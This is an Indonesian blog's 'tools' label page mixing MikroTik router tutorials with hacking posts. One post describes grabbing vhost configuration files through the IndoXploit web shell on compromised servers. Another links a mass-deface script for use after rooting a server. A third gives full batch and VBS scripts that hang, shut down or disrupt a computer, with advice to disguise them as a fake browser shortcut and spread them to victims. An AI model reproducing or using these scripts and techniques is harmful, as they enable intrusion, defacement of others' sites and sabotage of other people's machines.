Tampilkan postingan dengan label tools. Tampilkan semua postingan
Tampilkan postingan dengan label tools. Tampilkan semua postingan

Kamis, 19 Januari 2017

Vhosts Config Grabber

Halooo, kali ini gua akan share tutorial "Vhost Config Grab".

1. Kalian Sudah harus mempunyai target . (cek ss)

( /var/www/vhosts/domain.com/httpdocs/ - vhosts atau vhost)

2. Jika kalian sudah mempunyai target dengan ciri seperti di SS tadi. Sekarang gunakan fitur "config" IndoXploit Shell.

( jika sudah, klik saja "done" )


Lihat hasilnya .........

Oke, sekian dulu. mudah kan? 


Read more

Tool Bandwidth Test Mikrotik dan Cara Penggunaannya

Mikrotik Bandwidth Test adalah salah satu fitur di Mikrotik yang bisa kita gunakan untuk mengukur besarnya kapasitas bandwidth perangkat Mikrotik. Intinya Mikrotik Bandwidth Test ini berfungsi untuk test bandwidth di Mikrotik.

Bandwidth test mikrotik dapat digunakan untuk mengukur throughput ke router MikroTik lain (baik kabel atau nirkabel), sehingga dapat diketahui berapa besar kapasitas bandwidth antar perangkat Mikrotik tersebut.

Cara Kerja Bandwidth Test Mikrotik

Mikrotik Bandwidth Test akan men-generate traffic yang kemudian akan dikirimkan ke perangkat lain melalui sebuah jalur koneksi. Proses ini biasa disebut dengan Bandwidth test. Sebuah proses Bandwidth test terdiri dari Bandwidth test server dan Bandwidth test client. Semua versi RouterOS Mikrotik bisa digunakan sebagai Bandwidth Test server maupun Bandwidth test client.

Selain dapat digunakan antar router Mikrotik, bandwidth test mikrotik ini juga bisa digunakan oleh PC/laptop untuk mengukur bandwidth ke mikrotik. Hal ini berguna ketika kita ingin mengetahui seberapa besar kapasitas bandwidth dari link yang digunakan dari client ke router Mikrotik.

Misalnya, digunakan pada jaringan RT/RW net untuk mengukur bandwidth dari pelanggan ke router Mikrotik menggunakan wifi, jadi kita tau apakah alokasi bandwidth yang sudah kita setting di mikrotik memang benar apa tidak. Jika hasil bandwidth test nya tidak sesuai dengan setingan, berarti perlu ada pengecekan lagi di setinggan atau ada masalah pada jaringan wireless nya.

Itu sedikit gambaran awal tentang Bandwidth Test Mikrotik. Selanjutnya akan kita bahas Cara Menggunakan Bandwidth Test Mikrotik. Bandwidth test mikrotik terdiri dari dua bagian, yaitu Bandwidth Test Server dan Bandwidth Test Client.

Bandwidth Test Server dan Client di Mikrotik

Bandwidth Test Server Mikrotik

Pada RouterOS Mikrotik, fitur Bandwidth test server ini dikenal dengan BTest Server. Kita bisa megakses menu nya dari Winbox pada menu Tools --> BTest Server, atau pada terminal di /tool btest server.


bandwidth test mikrotik


Settingan asli nya (default) menu BTest Server ini sudah aktif, dan bisa langsung digunakna. Jadi kita sudah tidak perlu lagi mengaktifkan fitur btest server nya kecuali sebelumnya sudah di non-aktifkan.

Kita juga bisa melakukan pengaturan sendiri pada Bandwidth Test Server Mikrotik tersebut. Pengaturan ini bisa dilakukan pada menu /tool btest server. Terdapat beberapa parameter yang bisa digunakan.

1. Enabled : digunakan untuk mengaktifkan bandwidth test server pada router. Jika posisi enabled=no (disable) atau tidak dicentang (uncheck) maka tidak bisa dilakukan bandwidth test terhadap router tersebut.

2. Authenticate : Sebagai pengatur pemberian autentikasi untuk Bandwidth test client.

- Authenticate:yes (check), untuk bisa melakukan bandwidth test, Bandwidth Test Client harus memasukkan username dan password sesuai dengan yang digunakan untuk melakukan remote config Router Btest Server.

- Authenticate:no (uncheck), Bandwidth Test Client tidak perlu memasukkan username dan password untuk melakukan bandwidth test.

3. Max session : digunakan untuk mengatur limitasi berapa Max session/koneksi bandwidth test yang berlangsung bersamaan.

Bandwidth Test Client Mikrotik

Untuk melakukan bandwidth test ke mikroik lain, disediakan tool Bandwidth Test Client pada Mikrotik. Kita bisa mengaksesnya pada menu Tools --> Bandwidth Test atau command pada terminal /tool bandwidth test



bandwidth test mikrotik winbox

Pada bandwidth test client mikrotik ini ada beberapa parameter yang bisa kita atur dalam melakukan test bandwidth mikrotik.

1. Test To : digunakan untuk menunjuk alamat IP Router bandwidth test server.

2. Protocol : protocol yang akan digunakan dalam bandwidth test pada parameter protocol (tcp/udp)

3. Direction : digunakan untuk menentukan arah traffic. Terdapat 3 pilihan arah traffic yang akan digenerate :
- Upload (send)
- Download (receive)
- Upload dan download (both)

4. Local Tx Speed dan Remote Tx Speed : digunakan untuk menentukan kecepatan transfer saat bandwidth test. Satuan bps (bit per second).

5. Username dan password : Sesuaikan dengan pengaturan Router BTest Server. Jika pada Router Btest server parameter authenticate:yes maka masukkan username dan password yg digunakan untuk remote Router Mikrotik.

Cara Menggunakan Bandwidth Test Mikrotik

Untuk dapat menggunakan bandwidth test mikrotik, pastikan Mikrotik yang dijadikan sebagai btest server dan client nya sudah bisa berkomunikasi menggunakan ip address. Coba test ping dulu antar mikrotik nya, pastikan sudah bisa. Selanjutnya kita coba bandwidth test antar perangkat mikrotik.

bandwidth test mikrotik windows

Isikan parameter Test to dengan IP Address Btest Server, Pilih tipe protocol dan direction nya. Jangan lupa isikan username dan password Router Mikrotik lawan (BTest Server). Parameter Local Tx Speed dan Remote Tx Speed bisa diisi dengan berapa besar traffic yang akan digenerate untuk mengukur kapasitas Bandwidth nya. 

Jika paremeter ini tidak diisi, maka bandwidth test akan generate traffic dengan kecepatan maksimal sesuai dengan nilai local dan Remote Tx speed link nya.

Sedangkan jika nilai keduanya tidak ditentukan maka router akan mencoba men-generate traffic sampai batas kemampuan perangkat atau maksimal traffic yang bisa dilewatkan pada link tersebut.

Berikut beberapa contoh hasil bandwidth test antar router Mikrotik dengan link 1000 Mbps (1Gbps)

bandwidth test mikrotik ip


Yang perlu diperhatikan pada penggunaan Bandwidth Test Mikrotik ini adalah bandwidth test ini memakan banyak resource, terutama resource CPU. 

mikrotik bandwidth test cpu 100

Menurut Wiki Mikrotik, Bandwidth test mikrotik ini menggunakan hanya satu core CPU, dan hasil test nya akan mencapai maksimal kalau resource CPU nya sudah mencapai 100%. Bisa dilihat pada gambar di atas, saya coba tes Router Mikrotik RB1100 via link 1Gbps. Hasil tes bandwidth nya hanya mencapai 818,7 Mbps, tidak sampai maksimal karena CPU load nya sudah mentok 100%.

bandwidth test mikrotik server

Contoh lain saya coba pada Mikrotik CRS125-24-1S dengan link 1Gbps juga sama, namun pada gambar di atas CPU usage nya tidak sampai maksimal hanya mencapai 69%, tapi kenapa hasil test nya tidak sampai maksimal 1 Gbps?

mikrotik bandwidth test cpu 100%

Jawabannya karena router lawan resource CPU nya sudah mentok di 100%. Jadi hasil bandwidth test nya tidak maksimal. Perlu diingat bahwa tidak semua tipe Mikrotik mampu menghandle traffic generate 1Gbps, jadi perlu dicek juga resource CPU mikrotiknya ketika kita coba bandwidth test.

bandwidth test di mikrotik

Oleh karena itu, disarankan agar tidak melakukan beberapa bandwidth test ke satu mikrotik bersamaan. Untuk membatasi berapa banyak session yang bisa digunakan untuk bandwidth test dalam waktu bersamaan kita bisa memanfaatkan parameter Max Session. Jika kita set max session=2 maka jumlah sesi/koneksi bandwidth test yang bisa berjalan bersamaan hanya 2 koneksi.

Bandwidth Test Mikrotik dari Client (PC/Laptop)

Selain bandwidth test antar perangkat Mikrotik, kita juga bisa melakukan bandwidth test langsung dari PC/laptop menggunakan aplikasi btest.exe yang bisa diunduh di laman download mikrotik.com. Silakan download aplikasi btest.exe dulu, buka aplikasinya dan isikan parameter yang sama seperti ketika test antar router. 

Contohnya, saya coba bandwidth test dari laptop ke Mikrotik RB 951UI-2HnD via link Wireless N 150 Mbps. Hasil test nya sebagai berikut :

mikrotik wireless bandwidth test

Anda bisa coba cek bandwidth Mikrotik dengan skenario Anda sendiri. Bisa dicoba antar Mikrotik, atau jika mikroitk nya hanya ada satu, anda bisa gunakan PC/Laptop untuk melakukan bandwidth test ini.
Read more

Jumat, 06 Januari 2017

Mass Deface (root) Bash Script

Okee, Setelah sekian lama bingung mau posting apa, karena gaada yang menarik akhir-akhir ini :v.
kali ini gua akan share tools untuk Mass Deface setelah kita mendapatkan akses root pada website.

Cara Pakai:
- ./mass file_deface
ex: ./mass pwn.txt

Tools ini memudahkan kita untuk men-deface seluruh domain dalam 1 Server. Tentunya, untuk menjalankan File ini kita harus terlebih dulu me-root servernya, cara nya bisa kalian dapatkan di Google

Link Tools: http://pastebin.com/E7zXjkWJ

Oke sekian dulu kawan, tetap berkarya walaupun kita pemula hahahaha :D

Read more

Senin, 05 September 2016

Tools Hacker Simple


Tools Hacker Simple widih hacker aku mah cuma lammer :D

1. Membuat Komputer Hang dengan Kode script Notepad
-------------------------------------------------------------

start

start

start

start

start

start

start

start

start

start

start

start

-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.BAT
terus buat shortcut palsu terserah mau shortcut apa, aku saranin shortcutnya browser mozilla terus taro aja di desktop target
( efeknya akan membuka CDM yang banyak banget sampe layarnya keluar keluar )

2. Membuat Forced Shoutdown
-------------------------------------------------
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
-------------------------------------------------
simpan kode script yang berwarna Merah di Notepad dengan nama : xhack.BAT type file : All file
sebarkan File tersebut di Komputer teman Anda,
maka Komputer korban akan otomatis FORCED SHOUTDOWN

3. Membuat Tombol Caps Lock menyala terus-menerus
------------------------------------------------------------------
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
-------------------------------------------------------
seperti cara yang pertama, hanya berbeda kode script simpan kode yangberwarna biru di Notepad dengan nama : xhack.VBS type File : All File
sebarkan File berikut di Komputer korban maka, Tombol CAPSLOCK akan menyala terus-menerus
(bila dimatikan akan menyala lagi)

4. Membuat Pesan Jail mucul terus
------------------------------------------------------
@ECHO off
:Begin
msg * muka kamu sangat jelek
msg * ngaca dulu gih,
msg * hayo lo,cpu lu gw acak acak
msg * udah install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

------------------------------------------------------

simpan kode script yang berwarna hijau dengan nama xhack.BAT type file :All File
Cara ini sangat simple Jail, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah sesuai selera.

5. Membuka Tutup CD/DVD room
------------------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
-------------------------------------------------------
simpan di Notepad kode berikut dengan nama : xhack.vbs type file : All File
maka DVD/CD roomnya akan membuka dan menutup otomatis.

6. Membuat script mucul terus menerus
-------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
-------------------------------------------------------
simpan kode berikut di Notepad dengan nama : xhack.vbs type file : All File
membuat script bermunculan terus menerus.

7. Membuat Tombol Backspace menjadi eror - menekan terus menerus
--------------------------------------------------------
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
----------------------------------------------------------
simpan kode script berikut di Notepad dengan nama : xhack.vbs type file :All File
maka Tombol Backspace akan eror dan menekan dengan sendirinya.

8. Cara Membuat Pesan ' Komputer Anda Jelek Banget ' di Notepad/ Wordpad
-----------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Komputer Anda Jelek Banget"
loop
-----------------------------------------------------------
ganti kata Komputer Anda Jelek Banget dengan selera Anda, simpan diNotepad dengan nama : xhack.vbs

9. Cara Membuat Notepad Terbuka Otomatis - terus menerus
------------------------------------------------------------
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
------------------------------------------------------------
simpan di Notepad dengan nama : xhack.BAT
maka Notepad akan terbuka terus menerus.

10. Membuat Notepad dengan Pesan Jail
-------------------------------------------------------------

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.vbs
ganti kode yang berwarna merah sesuai dengan selera anda.

oke itu saja ya gan .. heheheeh terima kasih .. atas kunjungan anda :)


Read more

Rabu, 15 Juni 2016

Cara Memperbaiki Mikrotik yang Sering NgeHang dengan NetInstall

Tutorial Cara NetInstall Mikrotik RB750 & RB751 yang sering ngehang karena software RouterOS nya bermasalah. Itulah topik yang akan kita bahas pada Tutorial Mikrotik Indonesia kali ini. RouterBoard Mikrotik memiliki arsitektur yang mirip dengan Komputer, dimana tak hanya memiliki Hardware (Perangkat Keras) saja, tetapi juga membutuhkan Software (Perangkat Lunak), dalam hal ini Operating System (Sistem Operasi).

Untuk dapat berfungsi dengan baik, RouterBoard Mikrotik membutuhkan Sistem Operasi yakni RouterOS yang memiliki berbagai macam fitur. Seiring dengan berjalannya waktu, perangkat Mikrotik juga dapat mengalami kejenuhan dalam bekerja, hal ini diakibatkan oleh banyak faktor. Maksud kejenuhan disini adalah perangkat Mikrotik tidak dapat bekerja sebagaimana mestinya, kadang ngehang atau sering minta di reset.

Jika masalah tersebut yang terjadi, bukan berarti perangkat Mikrotik Anda sudah mulai rusak. Hal ini bisa terjadi karena ada masalah pada Sistem Operasi RouterOS nya. Sama halnya seperti komputer/laptop jika sudah bertahun-tahun digunakan bisa saja OS nya mulai bermasalah dan minta install ulang. 


Kasus yang saya alami adalah pada Mikrotik RB751ui-2HnD sulit sekali di remote, baik via Winbox, Telnet, maupun SSH. Kalaupun berhasil di-remote proses loading (respon) nya sangat lama. Setelah saya cek ternyata CPU usage nya manteng di 100%, tapi setelah saya cek di menu Tool --> Profile seperti pada artikel ini Cara Mengetahui Proses yang Menyebabkan CPU Usage Tinggi di Mikrotik, isi menu Profile tidak muncul dan juga isi menu-menu lainnya tidak muncul. Hal ini menyebabkan RouterBoard nge-hang dan restart sendiri beberapa kali.

Nah, untuk mengatasi hal tersebut saya akan bahas Cara Memperbaiki Mikrotik yang Sering NgeHang dengan NetInstall. Dalam kasus ini saya coba gunakan Mikrotik RB7XX Series (RB 750, RB751, dll).

Sudah tau kan apa itu NetInstall? Kalau belum silakan baca artikel yang pernah saya tulis disini : Tutorial Cara Install Mikrotik dengan Netinstall.

Langkah-langkah cara NetInstall Mikrotik RB750 sama seperti pada artikel tersebut. Silakan ikuti langkah-langkah NetInstall nya hingga selesai. 

Jika sudah selesai silakan login ke Mikrotik via Winbox, kemudian konfigurasi ulang Mikrotik seperti sebelumnya. Saya sarankan untuk tidak me-restore backup konfigurasi sebelumnya, melainkan konfig ulang dari awal agar konfig yang membuat RouterOS bermasalah tidak masuk lagi.

Setelah Mikrotik RB751ui-2HnD saya konfig ulang, hasilnya remote lancar, dan semua menu muncul isinya, serta CPU Load tidak terlalu tinggi.

Sebelum nya, saya juga pernah melakukan NetInstall pada Mikrotik RB433 yang sudah dianggap rusak, karena sudah tidak bisa di remote dan di hard reset pun tidak bisa. 


Setelah melalui proses netinstall, RB433 ini bisa bekerja kembali dengan normal tanpa ada masalah lagi. 

Jika Anda mengalami masalah yang sama pada perangkat Mikrotik Anda, silakan coba lakukan NetInstall. Jika masalah ada pada software nya, maka seharusnya setelah dilakukan netinstall masalah beres. Namun jika masalah ada pada hardware nya, misal port ethernet rusak, dsb, maka NetInstall pun tidak bisa menyelesaikan masalah.
Read more

Kamis, 25 Juni 2015

Apa itu RoMON? Pengertian RoMON Mikrotik

RoMON adalah kepanjangan dari Router Management Overlay Network yang merupakan fitur baru Mikrotik pada RouterOS mulai versi 6.28. Fitur RoMON ini mungkin masih asing bagi Anda, karena memang baru tersedia di RouterOS dan WinBox versi baru. Nah, untuk mengetahui lebih lanjut apa itu RoMON Mikrotik, mari kita bahas pada artikel ini.

Pengertian RoMON

Apa itu RoMON? RoMON (Router Management Overlay Network) adalah sebuah protocol proprietary Mikrotik (protocol yang hanya didukung pada perangkat Mikrotik), dimana dapat membuat koneksi layer2 yang aman (secure) ke perangkat MikroTik baik melalui koneksi “Physical” (ethernet) maupun Layer2 Tunnel. Selain itu, RoMON juga mempunyai fitur sebagai berikut :
  • Discovery dan management perangkat-perangkat MikroTik melalui Ping, SSH, Winbox (versi 3.0.rc.9 ke atas).
  • Mampu melakukan discovery (pencarian) perangkat MikroTik yang mengaktifkan RoMON yang telah melewati multiple hops. 
Jadi dengan RoMON ini kita dapat mendeteksi perangkat Mikrotik pada WinBox walaupun perangkat Mikrotik tersebut berada di segment network berbeda dan melewati beberapa router lain (multiple hops). Hal ini berbeda dengan fitur WinBox Mikrotik biasa, dimana hanya dapat mendeteksi perangkat Mikrotik yang berada satu jaringan saja.

Cara Mengaktifkan RoMON

Komunikasi RoMON didasarkan pada parameter RoMON ID yang diambil dari MAC Address router. Perangkat-perangkat yang mengaktifkan RoMON akan membuat sebuah discovery dari MAC Address Peer dan juga data forwarding protocol secara independent.

Kali ini kita akan mencoba implementasi sederhana dari fitur ini dengan melakukan remote router (RoMON Enabled) yang berbeda network menggunakan winbox. Khusus untuk fitur ini seperti yang telah kita singgung diatas, kita akan menggunakan Winbox versi 3.0.rc.9 yang telah mendukung fitur RoMON.
Fitur RoMON terdapat pada menu Tools → RoMON. Untuk mengaktifkannya kita tinggal mencentang opsi 'Enabled'. Kemudian kita tentukan parameter 'Secrets' pada RoMON Settings. Parameter ini berfungsi sebagai autentikasi untuk koneksi perangkat MikroTik yang terhubung. Sebagai contoh kali ini kita isi 'Secrets' dengan 12345. Sesuai topologi dari contoh kasus diatas, konfigurasi ini juga dilakukan pada ketiga router.

 
Apabila kita lihat pada RoMON Settings terdapat parameter ID. ID ini merupakan MAC Address dari router yang digunakan untuk komunikasi perangkat. Kita bisa menetukan parameter tersebut dengan MAC Address manapun yang terdapat pada interface router, namun jika kita tidak isi secara default akan menggunakan MAC Address router yang pertama.

Selanjutnya setelah ketiga router telah tersetting seperti konfigurasi diatas, kita akan mencoba melakukan remote perangkat yang berbeda network dengan menggunakan Winbox.


Seperti topologi diatas client yang akan melakukan remote berada pada network 192.168.1.0/24. Kita bisa menambahkan pada parameter 'Connect To' di winbox dengan gateway dari client tersebut. Nah, untuk menggunakan fitur RoMON, kita pilih pada tombol command di winbox yaitu Connect TO RoMON. Setelah berhasil terkoneksi maka pada winbox muncul tampilan seperti berikut.


Terlihat pada winbox terdapat RoMON Agent dan juga di tab RoMON Neighbors terdapat perangkat-perangkat MikroTik yang terkoneksi dengan RoMON. Apabila tanpa menggunakan RoMON ketika kita ingin melakukan remote perangkat yang berbeda network bahkan yang melewati beberapa hops maka tidak akan muncul di tab neighbors di winbox.
Untuk melakukan remote kita tinggal pilih salah satu perangkat pada list tersebut yang ingin kita manage dan klik pada tombol 'Connect'.

Ports

Secara default seluruh interface pada router aktif untuk RoMON. Namun disini kita bisa mengaktifkan interface mana saja yang diaktifkan fitur RoMON. Selain itu kita bisa menentukan secara manual nilai 'Cost' dan juga parameter 'Secret' pada interface tersebut.



Discovery

Dengan command 'Discovery' yang terdapat pada RoMON Settings, kita bisa meliaht perangkat mana saja yang terkoneksi dan aktif menggunakan RoMON. Terdapat beberapa informasi dari perangkat seperti RoMON ID (Address), nilai Cost, Jumlah Hops, Identity.



Ping

Kita bisa melakukan monitoring terhadap perangkat MikroTik apakah aktif dan terkoneksi dengan baik.  Untuk melakukan pengecekan tersebut bisa menggunakan Ping RoMON.



Sumber :
http://mikrotik.co.id/artikel_lihat.php?id=143
Read more

Senin, 09 Maret 2015

Belajar Mikrotik tanpa RouterBoard Menggunakan GNS3 Simulator

Pernahkah anda belajar jaringan menggunakan Cisco Packet Tracer? Jika pernah, mungkin anda merasa dimudahkan dengan fitur-fitur nya dimana kita bisa membuat sendiri topologi jaringan yang kita inginkan dengan hanya "drag and drop". Namun sayangnya aplikasi tersebut hanya bisa menggunakan Cisco, tidak bisa digunakan dengan Mikrotik. Nah, pertanyaannya adakah Mikrotik Packet Tracer? Jawabannya, belum ada :D.

Kabar baiknya, Mikrotik packet tracer bisa kita wujudkan dan implementasikan dengan menggunakan aplikasi GNS3. GNS3 (Graphic Network Simulator) adalah software simulasi jaringan komputer berbasis GUI yang mirip dengan Cisco Packet Tracer. 


Pada GNS3 memungkinkan simulasi jaringan yang komplek, karena menggunakan operating system asli dari perangkat jaringan seperti cisco, juniper, Mikrotik, dll. Sehingga kita berada pada kondisi lebih nyata dalam mengkonfigurasi router langsung daripada di Cisco Packet Tracer. Yang lebih hebatnya lagi, simulasi jaringan yang kita buat dapat dikoneksikan ke jaringan nyata, jadi seperti belajar di lab virtual.



Namun, untuk bisa menggunakan GNS3 dengan Cisco maupun Mikrotik, kita harus menyediakan sendiri file image IOS maupun RouterOS nya yang akan di running pada Qemu atau VirtualBox. Oleh karena itu kita juga harus menyediakan lisensi dari file image tersebut.

Oke, pada artikel kali ini saya akan membahas tentang Belajar Mikrotik tanpa RouterBoard Menggunakan GNS3. Pada dasarnya untuk dapat memasukkan Mikrotik ke GNS3 kita harus menginstall dulu RouterOS di salah satu software Virtual Machine, yaitu Qemu atau VirtualBox. Masing-masing memiliki kelebihan dan kekurangannya. Berikut perbandingan software Virtual machine untuk GNS3 :


Dari gambar di atas dapat dilihat bahwa Qemu lebih unggul dari semua software VM yang ada. Namun, untuk instalasi dan penggunaan nya lebih rumit dari lainnya. Sedangkan Virtualbox untuk instalasi dan penggunaannya lebih mudah, namun lebih banyak memakan memori dan 1 image OS hanya dapat digunakan untuk 1 router saja, jadi jika ingin menggunakan 5 router ya install 5 image OS di VirtualBox.

Nah, untuk selanjutnya akan kita bahas penggunaan Mikrotik di GNS3 menggunakan Qemu dan VirtualBox :

1. Cara Install dan Setting Mikrotik di GNS3 menggunakan VirtualBox


Referensi :
http://ilmukomputer.org/2013/01/29/gns3/
www.slideshare.net/ropix/mikrotik-network-simulator-mum-presentation-material-2013
Read more

Senin, 17 November 2014

Cara Memantau dan Memonitor Jaringan Mikrotik Menggunakan The Dude

Memantau dan memonitor jaringan mikrotik dan perangkat lainnya yang saling terhubung dapat dilakukan dengan mudah menggunakan aplikasi yang bernama The Dude. The Dude adalah aplikasi buatan Mikrotik yang berfungsi untuk memonitor jaringan komputer dengan simple dan mudah. 

The Dude dapat melakukan scanning otomatis pada semua perangkat yang terhubung pada subnet jaringan tertentu. Hasil scanning nya berupa gambar peta konfigurasi jaringan yang muncul secara otomatis. Peta konfigurasi jaringan ini akan menggambarkan kondisi jaringan apakah sedang up/down. 

Selain itu the dude juga dapat menampilkan transfer rate antar perangkat di jaringan, jadi kita dapat memantau traffic yang berjalan di jaringan kita secara realtime dengan mudah. Yang lebih istimewa lagi, the dude bisa digunakan pada perangkat selain Mikrotik. 

The Dude dapat mengidentifikasi secara otomatis jenis dari perangkat yang ada di jaringan dengan menscan service yang digunakan oleh perangkat tertentu. Misalnya, the dude menscan perangkaat dengan open port 80, ia akan mengidentifikasikan perangkat itu sebagai Web Server.

Versi The Dude

The Dude ada beberapa versi, mulai dari yang lama hingga terbaru. Versi lama yakni versi 3.6 dan versi 4.0beta3. Sementara versi yang baru mengikuti versi dari RouterOS nya. Untuk lebih jelasnya silakan lihat gambar berikut :



Pada The Dude versi lama (3.6 & 4.0beta3) hanya terdapat 1 file installer berextensi .exe yang dapat di-install di semua PC/server dan dapat digunakan sebagai Server sekaligus Client.

Sementara pada The Dude versi baru, ada 2 jenis file installer, yakni file installer The Dude Server extensi .npk yang dapat di install pada Mikrotik CCR, CHR, x86 dan RB3011.

Sebenarnya lebih praktis dan mudah jika kita menggunakan versi The Dude lama, namun sekarang Mikrotik sudah tidak merilis versi lama tersebut, dan mengganti nya dengan versi baru, sehingga kita harus punya perangkat Mikrotik nya dulu baru bisa mengaktifkan The Dude versi baru, kecuali jika menggunakan Mikrotik CHR.

Disini kita akan bahas cara instalasi The Dude versi lama. Untuk instalasi The Dude versi baru bisa lihat caranya di file presentasi yang saya bawakan pada Mikrotik User Meeting Indonesia 2016 disini.

Cara Install The Dude versi 3.6 & 4.0beta3

Oke, sudah cukup penjelasannya. Sekarang kita coba Cara Memantau dan Memonitor Jaringan Mikrotik Menggunakan The Dude. Langkah-langkah nya adalah sebagai berikut


2. Install aplikasi The Dude.

3. Buka aplikasinya, akan muncul tampilan The Dude seperti gambar berikut :


Berikut adalah contoh peta jaringan dan data di the dude :

Map.png

4. Untuk mulai menggunakannya ada dua cara :
- Memasukkan data perangkat secara manual
- Menscan semua perangkat di jaringan tertentu, data & peta jaringan perangkat akan muncul secara otomatis (opsi ini yang akan kita gunakan)

5. Klik menu Discover --> Masukkan alamat subnet jaringan yang ingin di scan. misalnya 10.10.10.0/24 --> klik Discover.

6. Semua perangkat yang dalam kondisi menyala pada subnet tersebut akan ditemukaan oleh The Dude dan secara otomatis akan terbentuk peta jaringan dari semua perangkat yang ditemukan tersebut, seperti gambar berikut ini. (Maaf sedikit sensor :D)


7. Dari gambar tersebut dapat diketahui kondisi masing-masing perangkat, dapat juga diketahui transfer rate antar perangkat (router).

8. Untuk melihat data secara detil perangkat hasil scanning, klik dua kali di icon perangkat. Kita dapat merubah data perangkat, seperti merubah nama, IP address, username & password, dll.



9. Status peralatan apakah jaringan nya up, down, atau ada service yang timed out dapat dilihat seperti gambar berikut :

Keterangan Warna :
- Warna hijau = Jaringan dan peralatan ok (up)
- Warna merah = Ada gangguan jaringan atau peralatan (down)
- Warna orange = Ada service yang timed out, atau dalam interval tertentu terjadi sesekali timed out.

10. Selain itu pada tiap peralatan juga terdapat tools yang bisa kita gunakan untuk menganalisa status nya, seperti gambar berikut ini :

 
11. Selain dapat menscan perangkat secara otomatis, kita juga dapat menambahkan perangkat ke peta jaringan secara manual. Klik tombol + Device.


12. Masukkan IP Address perangkat, Masukkan Username & Password (jika ada) --> Next


13. Klik Discovery. The Dude akan menscan service yang berjalan pada device tersebut secara otomatis --> Finish


14. Kita juga bisa menghubungkan perangkat baru ini dengan menambahkan link. Klik tombol + Link.


15. Drag icon antar perangkat yang mau dihubungkan. Pilih Mastering type : Simple. Hasilnya akan seperti ini :


16. Untuk dapat menampilkan traffic (Tx Rx) antar kedua perangkat, pada link Anda bisa memilih Mastering Type : snmp atau routeros. Namun tidak semua perangkat mendukung fitur ini. Jika kedua perangkat adalah router Mikrotik, maka username dan password pada data perangkat harus diisi dan pilih mode routeros pada data dan link nya.

Oke, untuk sementara cukup sampai disini dulu tutorial Cara Memantau dan Memonitor Jaringan Mikrotik Menggunakan The Dude. Silakan anda coba-coba dan kembangkan sendiri sesuai kebutuhan jaringan nya.
Read more

Kamis, 14 Agustus 2014

Cara Mengetahui Password Winbox Mikrotik

Lupa Username dan Password Mikrotik? Lupa Username dan Password di Winbox Mikrotik? Jika jawabannya Ya, maka anda berada di tempat yang tepat. Karena pada artikel ini saya akan membahas tentang Cara Mengetahui Username dan Password Winbox Mikrotik yang terlupa tersebut.

Ada dua kondisi dimana kita biasanya lupa password mikrotik :
1. Lupa Username dan Password Winbox Mikrotik yang belum di save pada Winbox
2. Lupa Username dan Password Winbox Mikrotik yang sudah di save pada Winbox.

Untuk kondisi yang pertama sudah pernah saya bahas di artikel ini :

Disini kita akan bahas kondisi yang kedua, dimana sebelumnya kita sudah pernah menyimpan data login Mikrotik kita pada Winbox dengan menu Save pada Winbox.

Hasil simpanan data login yang pernah kita simpan akan muncul di bagian bawah Winbox, berupa kolom Address, User, dan Note seperti gambar berikut ini :



Kasus yang saya alami dan mungkin anda alami juga adalah saya lupa password mikrotik nya. Walaupun sebenarnya saya bisa login dengan data yang tersimpan itu tanpa tau passwordnya, dan bisa mengubah password nya ketika sudah login di Winbox. Namun saya tetap penasaran dengan password yang saya lupa tersebut.

Nah, untuk itulah saya akan bahas Cara Mengetahui Password Winbox Mikrotik dengan membuka data hasil simpanan Winbox nya. 

Cara untuk Mengetahui Password Winbox Mikrotik yaitu sebagai berikut :
1. Buka Winbox Mikrotik --> Klik tombol Tools... --> Export Addresses...


2. Pilih folder dimana anda akan menyimpan file export nya --> Beri nama file export nya --> Save


3. Buka Folder tempat anda menyimpan tadi di Windows Explorer --> Open With Notepad


4. Ta..da.. Muncul lah data login yang disimpan Winbox dalam format seperti gambar berikut ini :


Dari gambar di atas, bisa dilihat :
1. IP Address Mikrotik (label kuning)
2. Username Mikrotik (label pink)
3. Password Mikrotik (label coklat)

Dengan trik ini kita dapat mengetahui username dan password winbox mikrotik yang lupa dengan mudah. Silakan anda coba dan semoga bermanfaat :)
Read more

Sabtu, 27 Juli 2013

Cara Menjalankan Winbox Mikrotik di Linux Mint, Ubuntu, dll

Bagaimana cara menjalankan Aplikasi Winbox Mikrotik di Linux? Pertanyaan itu mungkin pernah mencuat di benak anda pengguna open surce terutama Linux. Seperti yang kita tau winbox adalah aplikasi yang berfungsi untuk melakukan konfigurasi pada sistem operasi jaringan RouterOS Mikrotik dimana aplikasi Winbox ini berjalan pada OS Windows. Terus gimana caranya biar winbox bisa berjalan di Linux? Nah, kali ini kita akan membahas pertanyaan tersebut.

